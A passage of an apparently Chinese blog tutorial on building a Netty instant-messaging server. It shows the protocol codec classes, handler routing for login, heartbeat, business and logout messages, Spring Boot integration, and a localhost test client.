class="hljs-keyword">new</span> <span class="hljs-title class_">ServerBootstrap</span>();<br>        bootstrap.group(bossGroup, workerGroup);<br>        bootstrap.channel(NioServerSocketChannel.class);<br>        <span class="hljs-comment">//netty初始化相关handler</span><br>        bootstrap.childHandler(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ChannelInitializer</span>&lt;&gt;() &#123;<br>            <span class="hljs-meta">@Override</span><br>            <span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">initChannel</span><span class="hljs-params">(Channel channel)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>                <span class="hljs-comment">//打印日志</span><br>                LOGGER.info(<span class="hljs-string">&quot;初始化连接通道&quot;</span>);<br>                <span class="hljs-comment">//设计消息体</span><br>                <span class="hljs-comment">//添加编码器</span><br>                <span class="hljs-comment">//添加解码器</span><br>                channel.pipeline().addLast(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ImMsgDecode</span>());<br>                channel.pipeline().addLast(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ImMsgEncode</span>());<br>                <span class="hljs-comment">//添加核心handler</span><br>                channel.pipeline().addLast(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ImServerCoreHandler</span>());<br><br>            &#125;<br>        &#125;);<br>        <span class="hljs-comment">//基于jvm钩子函数实现关闭</span><br>        Runtime.getRuntime().addShutdownHook(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Thread</span>(() -&gt; &#123;<br>            <span class="hljs-comment">//关闭线程池</span><br>            bossGroup.shutdownGracefully();<br>            <span class="hljs-comment">//关闭线程池</span><br>            workerGroup.shutdownGracefully();<br>        &#125;));<br>        <span class="hljs-type">ChannelFuture</span> <span class="hljs-variable">channelFuture</span> <span class="hljs-operator">=</span> bootstrap.bind(port).sync();<br>        LOGGER.info(<span class="hljs-string">&quot;netty im server 启动成功，监听端口：&#123;&#125;&quot;</span> + port);<br>        <span class="hljs-comment">//阻塞主线程，直到channel关闭</span><br>        channelFuture.channel().closeFuture().sync();<br><br>    &#125;<br>     <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> InterruptedException &#123;<br>        <span class="hljs-type">NettyImServerApplication</span> <span class="hljs-variable">server</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">NettyImServerApplication</span>();<br>        server.startApplication(<span class="hljs-number">9090</span>);<br>    &#125;<br>&#125;<br><br></code></pre></td></tr></table></figure><hr><h1 id="四、协议与编解码设计（ImMsg-ImMsgDecode-ImMsgEncode）"><a href="#四、协议与编解码设计（ImMsg-ImMsgDecode-ImMsgEncode）" class="headerlink" title="四、协议与编解码设计（ImMsg &#x2F; ImMsgDecode &#x2F; ImMsgEncode）"></a>四、协议与编解码设计（ImMsg &#x2F; ImMsgDecode &#x2F; ImMsgEncode）</h1><ul><li>消息头部：<ul><li><code>magic</code>：<code>short</code> 魔数校验，模块设定为 <code>19231</code>。</li><li><code>len</code>：<code>int</code>，消息体字节长度。</li><li><code>code</code>：<code>int</code>，消息类型码（登录、登出、心跳、业务）。</li></ul></li><li>消息体：<code>byte[] body</code>，变长二进制内容。</li><li>解码关键点：<ul><li>先判断可读字节是否满足基础头部长度（<code>BASE_LEN = 2 + 4 + 4</code>）。</li><li>读取并校验 <code>magic</code> 不合法直接 <code>ctx.close()</code>。</li><li>读取 <code>len</code> 与 <code>code</code> 后，如果缓冲区不足，回滚读指针并等待。</li><li>读取 <code>body</code> 并封装为 <code>ImMsg</code> 对象。</li></ul></li><li>编码流程：按头部顺序写出，再写入 <code>body</code>。</li><li>快速构造体：<code>ImMsg.build(code, data)</code> 便于测试。</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImMsg</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Serializable</span> &#123;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">long</span> <span class="hljs-variable">serialVersionUID</span> <span class="hljs-operator">=</span> -<span class="hljs-number">448787845159289179L</span>;<br>    <span class="hljs-comment">//基本校验</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">short</span> magic;<br><br>    <span class="hljs-comment">//内容长度</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">int</span> len;<br><br>    <span class="hljs-comment">//消息类型</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">int</span> code;<br><br>    <span class="hljs-comment">//存储消息内容</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">byte</span>[] body;<br><br><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">short</span> <span class="hljs-title function_">getMagic</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-keyword">return</span> magic;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setMagic</span><span class="hljs-params">(<span class="hljs-type">short</span> magic)</span> &#123;<br>        <span class="hljs-built_in">this</span>.magic = magic;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">int</span> <span class="hljs-title function_">getLen</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-keyword">return</span> len;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setLen</span><span class="hljs-params">(<span class="hljs-type">int</span> len)</span> &#123;<br>        <span class="hljs-built_in">this</span>.len = len;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">int</span> <span class="hljs-title function_">getCode</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-keyword">return</span> code;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setCode</span><span class="hljs-params">(<span class="hljs-type">int</span> code)</span> &#123;<br>        <span class="hljs-built_in">this</span>.code = code;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">byte</span>[] getBody() &#123;<br>        <span class="hljs-keyword">return</span> body;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setBody</span><span class="hljs-params">(<span class="hljs-type">byte</span>[] body)</span> &#123;<br>        <span class="hljs-built_in">this</span>.body = body;<br>    &#125;<br>    <br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ImMsg <span class="hljs-title function_">build</span><span class="hljs-params">(<span class="hljs-type">int</span> code,String data)</span> &#123;<br>        <span class="hljs-type">ImMsg</span> <span class="hljs-variable">imMsg</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ImMsg</span>();<br>        imMsg.setMagic((<span class="hljs-type">short</span>) <span class="hljs-number">19231</span>);<br>        imMsg.setLen(data.getBytes().length);<br>        imMsg.setCode(code);<br>        imMsg.setBody(data.getBytes());<br>        <span class="hljs-keyword">return</span> imMsg;<br>    &#125;<br>&#125;<br><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImMsgDecode</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">ByteToMessageDecoder</span> &#123;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> <span class="hljs-type">int</span> <span class="hljs-variable">BASE_LEN</span> <span class="hljs-operator">=</span> <span class="hljs-number">2</span> + <span class="hljs-number">4</span> + <span class="hljs-number">4</span>; <span class="hljs-comment">// magic + len + code</span><br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">decode</span><span class="hljs-params">(ChannelHandlerContext ctx, ByteBuf byteBuf, List&lt;Object&gt; out)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-keyword">if</span> (byteBuf.readableBytes() &lt; BASE_LEN) &#123;<br>            <span class="hljs-keyword">return</span>;<br>        &#125;<br><br>        byteBuf.markReaderIndex(); <span class="hljs-comment">// 标记读指针</span><br><br>        <span class="hljs-type">short</span> <span class="hljs-variable">magic</span> <span class="hljs-operator">=</span> byteBuf.readShort();<br>        <span class="hljs-keyword">if</span> (magic != <span class="hljs-number">19231</span>) &#123;<br>            ctx.close();<br>            <span class="hljs-keyword">return</span>;<br>        &#125;<br><br>        <span class="hljs-type">int</span> <span class="hljs-variable">len</span> <span class="hljs-operator">=</span> byteBuf.readInt();<br>        <span class="hljs-type">int</span> <span class="hljs-variable">code</span> <span class="hljs-operator">=</span> byteBuf.readInt();<br><br>        <span class="hljs-keyword">if</span> (byteBuf.readableBytes() &lt; len) &#123;<br>            byteBuf.resetReaderIndex(); <span class="hljs-comment">// 回滚，等待更多数据</span><br>            <span class="hljs-keyword">return</span>;<br>        &#125;<br><br>        <span class="hljs-type">byte</span>[] body = <span class="hljs-keyword">new</span> <span class="hljs-title class_">byte</span>[len];<br>        byteBuf.readBytes(body);<br><br>        <span class="hljs-type">ImMsg</span> <span class="hljs-variable">imMsg</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ImMsg</span>();<br>        imMsg.setMagic(magic);<br>        imMsg.setLen(len);<br>        imMsg.setCode(code);<br>        imMsg.setBody(body);<br>        out.add(imMsg);<br>    &#125;<br>&#125;<br><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImMsgEncode</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">MessageToByteEncoder</span> &#123;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">encode</span><span class="hljs-params">(ChannelHandlerContext ctx, Object msg, ByteBuf out)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">ImMsg</span> <span class="hljs-variable">imMsg</span> <span class="hljs-operator">=</span> (ImMsg) msg;<br>        out.writeShort(imMsg.getMagic());<br>        out.writeInt(imMsg.getLen());<br>        out.writeInt(imMsg.getCode());<br>        out.writeBytes(imMsg.getBody());<br>    &#125;<br>&#125;<br><br><br></code></pre></td></tr></table></figure><hr><h1 id="五、统一消息路由与处理（Handler-体系）"><a href="#五、统一消息路由与处理（Handler-体系）" class="headerlink" title="五、统一消息路由与处理（Handler 体系）"></a>五、统一消息路由与处理（Handler 体系）</h1><ul><li>入站统一：<code>ImServerCoreHandler</code> 只接收 <code>ImMsg</code>，否则抛错，随后委派到工厂：</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImServerCoreHandler</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">SimpleChannelInboundHandler</span> &#123;<br>    <span class="hljs-comment">//处理消息的工厂</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">ImHandlerFactory</span> <span class="hljs-variable">imHandlerFactory</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ImHandlerFactoryImpl</span>();<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">channelRead0</span><span class="hljs-params">(ChannelHandlerContext ctx, Object msg)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-keyword">if</span>(!(msg <span class="hljs-keyword">instanceof</span> ImMsg))&#123;<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Exception</span>(<span class="hljs-string">&quot;msg is not instance of ImMsg&quot;</span>);<br>        &#125;<br>        <span class="hljs-type">ImMsg</span> <span class="hljs-variable">imMsg</span> <span class="hljs-operator">=</span> (ImMsg) msg;<br>        imHandlerFactory.doMsgHandler(ctx, imMsg);<br><br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><ul><li>工厂路由：<code>ImHandlerFactoryImpl</code> 以 <code>Map&lt;Integer, SimplyHandler&gt;</code> 维护消息码与处理器映射，示例注册：<ul><li>登录：<code>LoginMsgHandler</code></li><li>登出：<code>LogoutMsgHandler</code></li><li>心跳：<code>HearteatMsgHandler</code></li><li>业务：<code>BizImMsgHandler</code></li></ul></li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">interface</span> <span class="hljs-title class_">SimplyHandler</span> &#123;<br>    <span class="hljs-keyword">void</span> <span class="hljs-title function_">handle</span><span class="hljs-params">(ChannelHandlerContext ctx, ImMsg msg)</span>;<br>&#125;<br><br><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">BizImMsgHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">SimplyHandler</span> &#123;<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">handle</span><span class="hljs-params">(ChannelHandlerContext ctx, ImMsg msg)</span> &#123;<br>        System.out.println(<span class="hljs-string">&quot;收到业务消息&quot;</span> + msg.toString());<br>        ctx.writeAndFlush(msg);<br>    &#125;<br>&#125;<br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">HearteatMsgHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">SimplyHandler</span> &#123;<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">handle</span><span class="hljs-params">(ChannelHandlerContext ctx, ImMsg msg)</span> &#123;<br>        System.out.println(<span class="hljs-string">&quot;收到心跳消息&quot;</span> + msg.toString());<br>        ctx.writeAndFlush(msg);<br>    &#125;<br>&#125;<br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">LoginMsgHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">SimplyHandler</span> &#123;<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">handle</span><span class="hljs-params">(ChannelHandlerContext ctx, ImMsg msg)</span> &#123;<br>        System.out.println(<span class="hljs-string">&quot;收到登入消息&quot;</span> + msg.toString());<br>        ctx.writeAndFlush(msg);<br>    &#125;<br>&#125;<br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">LogoutMsgHandler</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">SimplyHandler</span> &#123;<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">handle</span><span class="hljs-params">(ChannelHandlerContext ctx, ImMsg msg)</span> &#123;<br>        System.out.println(<span class="hljs-string">&quot;收到登出消息&quot;</span> + msg.toString());<br>        ctx.writeAndFlush(msg);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><ul><li>处理器当前行为：打印收到的消息并 <code>ctx.writeAndFlush(msg)</code> 回显，便于联调。</li><li>扩展建议：<ul><li>登录：校验令牌、绑定 <code>channel &lt;-&gt; userId</code>、记录上线状态。</li><li>心跳：更新会话最近活动时间、设置超时剔除策略。</li><li>业务：根据 <code>code</code> 子类型或 <code>body</code> 路由到具体业务处理，支持单聊&#x2F;群聊。</li><li>登出：解绑会话、释放资源、通知好友在线状态变化。</li></ul></li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">interface</span> <span class="hljs-title class_">ImHandlerFactory</span> &#123;<br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 根据code获取对应的handler</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> channelContext</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> imMsg</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">void</span> <span class="hljs-title function_">doMsgHandler</span><span class="hljs-params">(ChannelHandlerContext channelContext, ImMsg imMsg)</span>;<br>&#125;<br><br><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImHandlerFactoryImpl</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">ImHandlerFactory</span> &#123;<br>    <span class="hljs-comment">// 存放handler的map，key为消息码，value为handler</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> Map&lt;Integer, SimplyHandler&gt; handlerMap = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span>&lt;&gt;();<br><br>    <span class="hljs-keyword">static</span> &#123;<br>        <span class="hljs-comment">// 注册登入消息处理器</span><br>        handlerMap.put(ImMsgCodeEnum.IM_LOGIN_MSG.getCode(), <span class="hljs-keyword">new</span> <span class="hljs-title class_">LoginMsgHandler</span>());<br>        <span class="hljs-comment">// 注册登出消息处理器</span><br>        handlerMap.put(ImMsgCodeEnum.IM_LOGOUT_MSG.getCode(), <span class="hljs-keyword">new</span> <span class="hljs-title class_">LogoutMsgHandler</span>());<br>        <span class="hljs-comment">// 注册心跳消息处理器</span><br>        handlerMap.put(ImMsgCodeEnum.IM_HEARTBEAT_MSG.getCode(), <span class="hljs-keyword">new</span> <span class="hljs-title class_">HearteatMsgHandler</span>());<br>        <span class="hljs-comment">// 注册常规业务消息处理器</span><br>        handlerMap.put(ImMsgCodeEnum.IM_BIZ_MSG.getCode(), <span class="hljs-keyword">new</span> <span class="hljs-title class_">BizImMsgHandler</span>());<br>    &#125;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">doMsgHandler</span><span class="hljs-params">(ChannelHandlerContext channelContext, ImMsg imMsg)</span> &#123;<br>        <span class="hljs-comment">// 从map中获取handler</span><br>        <span class="hljs-type">SimplyHandler</span> <span class="hljs-variable">handler</span> <span class="hljs-operator">=</span> handlerMap.get(imMsg.getCode());<br>        <span class="hljs-keyword">if</span> (handler == <span class="hljs-literal">null</span>) &#123;<br>           <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>(<span class="hljs-string">&quot;未注册的消息码：&quot;</span> + imMsg.getCode());<br>        &#125;<br>        <span class="hljs-comment">// 调用handler的handle方法</span><br>        handler.handle(channelContext, imMsg);<br>    &#125;<br>&#125;<br><br></code></pre></td></tr></table></figure><hr><h1 id="六、与-Spring-Boot-的整合方式"><a href="#六、与-Spring-Boot-的整合方式" class="headerlink" title="六、与 Spring Boot 的整合方式"></a>六、与 Spring Boot 的整合方式</h1><ul><li>当前模块定位：独立 Netty 进程（<code>main</code> 方法直接启动）。</li><li>两种常见整合路径：<ul><li>独立服务进程：与 Spring Boot Web 应用通过 HTTP&#x2F;WebSocket&#x2F;消息队列交互，IM 服务专注长连接与消息中转。</li><li>Spring Bean 管理：将 <code>NettyImServerApplication</code> 作为 Bean 注入，在 <code>ApplicationRunner</code>&#x2F;<code>CommandLineRunner</code> 中启动，在 <code>@PreDestroy</code> 中优雅关闭。</li></ul></li></ul><p>示例（伪代码）：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@Configuration</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImServerConfig</span> &#123;<br>    <span class="hljs-meta">@Bean</span><br>    <span class="hljs-keyword">public</span> NettyImServerApplication <span class="hljs-title function_">imServer</span><span class="hljs-params">()</span> &#123; <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">NettyImServerApplication</span>(); &#125;<br><br>    <span class="hljs-meta">@Bean</span><br>    <span class="hljs-keyword">public</span> ApplicationRunner <span class="hljs-title function_">runner</span><span class="hljs-params">(NettyImServerApplication imServer)</span> &#123;<br>        <span class="hljs-keyword">return</span> args -&gt; imServer.startApplication(<span class="hljs-number">9090</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h1 id="七、客户端测试"><a href="#七、客户端测试" class="headerlink" title="七、客户端测试"></a>七、客户端测试</h1><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ImClientApplication</span> &#123;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">startConnection</span><span class="hljs-params">(String ip, <span class="hljs-type">int</span> port)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">EventLoopGroup</span> <span class="hljs-variable">group</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">NioEventLoopGroup</span>();<br>        <span class="hljs-type">Bootstrap</span> <span class="hljs-variable">bootstrap</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Bootstrap</span>();<br>        bootstrap.group(group);<br>        bootstrap.channel(NioSocketChannel.class);<br>        bootstrap.handler(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ChannelInitializer</span>&lt;SocketChannel&gt;() &#123;<br>            <span class="hljs-meta">@Override</span><br>            <span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">initChannel</span><span class="hljs-params">(SocketChannel ch)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>                System.out.println(<span class="hljs-string">&quot;初始化成功&quot;</span>);<br>                ch.pipeline().addLast(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ImMsgDecode</span>());<br>                ch.pipeline().addLast(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ImMsgEncode</span>());<br>                ch.pipeline().addLast(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ClientHandler</span>());<br><br>            &#125;<br>        &#125;);<br>        <span class="hljs-type">ChannelFuture</span> <span class="hljs-variable">future</span> <span class="hljs-operator">=</span> bootstrap.connect(ip, port).sync();<br>        <span class="hljs-comment">// 等待连接成功</span><br>        <span class="hljs-type">Channel</span> <span class="hljs-variable">channel</span> <span class="hljs-operator">=</span> future.channel();<br>        <span class="hljs-keyword">for</span>(<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">10</span>; i++)&#123;<br>            channel.writeAndFlush(ImMsg.build(ImMsgCodeEnum.IM_LOGIN_MSG.getCode(), <span class="hljs-string">&quot;login&quot;</span>));<br>            channel.writeAndFlush(ImMsg.build(ImMsgCodeEnum.IM_BIZ_MSG.getCode(), <span class="hljs-string">&quot;biz&quot;</span>));<br>            channel.writeAndFlush(ImMsg.build(ImMsgCodeEnum.IM_HEARTBEAT_MSG.getCode(), <span class="hljs-string">&quot;heartbeat&quot;</span>));<br>            channel.writeAndFlush(ImMsg.build(ImMsgCodeEnum.IM_LOGOUT_MSG.getCode(), <span class="hljs-string">&quot;logout&quot;</span>));<br>            Thread.sleep(<span class="hljs-number">3000</span>);<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">ImClientApplication</span> <span class="hljs-variable">client</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ImClientApplication</span>();<br>        client.startConnection(<span class="hljs-string">&quot;localhost&quot;</span>,<span class="hljs-number">9090</span>);<br>    &#125;<br>&#125;<br><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ClientHandler</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">ChannelInboundHandlerAdapter</span> &#123;<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">channelRead</span><span class="hljs-params">(ChannelHandlerContext ctx, Object msg)</span> <span class="hljs-keyword">throws</span> Exception 